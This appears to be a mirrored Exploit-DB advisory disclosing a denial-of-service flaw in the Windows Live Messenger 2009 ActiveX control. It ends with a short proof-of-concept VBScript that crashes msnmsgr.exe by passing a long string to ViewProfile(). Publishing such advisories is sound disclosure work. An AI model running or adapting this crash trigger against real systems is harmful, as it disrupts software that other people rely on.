Microsoft Windows Live Messenger 2009 – ActiveX Denial of Service

• Exploit Database
• 107 阅读

• 作者： HACKATTACK IT SECURITY GmbH
  日期： 2010-01-08
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/11070/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76

  Product: Windows Live Messenger 2009 (Build 14.0.8089.726)   ************************************************************************ ******** Vulnerability: ActiveX - Denial of Service   ************************************************************************ ******** Discussion: Vulnerability is in Activex Control(msgsc.14.0.8089.726.dll) Sending a string to ViewProfile() , cause a crash on msnmsgr.exe *must be signed in Msn Messenger account for triggerin the vulnerability.   ************************************************************************ ******** Vulnerable: Windows Live Messenger 2009 on Windows Vista Windows Live Messenger 2009 on Windows 7   Not Vulnerable: Windows Live Messenger 2009 on Windows XP   Credits: HACKATTACK IT SECURITY GmbH Penetration Testing in Deutschland - Österreich - Schweiz www.hackattack.com   and   Natal Networks Inc. Vulnerability Discovery, Penetration Testing, IT Security Consulting www.natalnetworks.com   ************************************************************************ ********   Original Advisory www.hackattack.com www.natalnetworks.com   ************************************************************************ ******** PoC .wsf script: &apos;works on vista and windows7   <package>   <job id=&apos;DoneInVBS&apos; debug=&apos;false&apos; error=&apos;true&apos;>   <object classid=&apos;clsid:B69003B3-C55E-4B48-836C-BC5946FC3B28&apos; id=&apos;target&apos; />   <script language=&apos;vbscript&apos;>   arg1=("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")   target.ViewProfile arg1   </script>   </job>   </package>   About HACKATTACK and Natal Networks ================ HACKATTACK IT SECURITY GmbH is a Penetrationtest and Security Auditing company located in Germany and Austria More Information about HACKATTACK at http://www.hackattack.com   Natal Networks was founded by Hellcode Research Team in 2009. Main mission of Natal Network is discover and research vulnerabilities. Providing penetration tests and security auditing services. More about; www.natalnetworks.com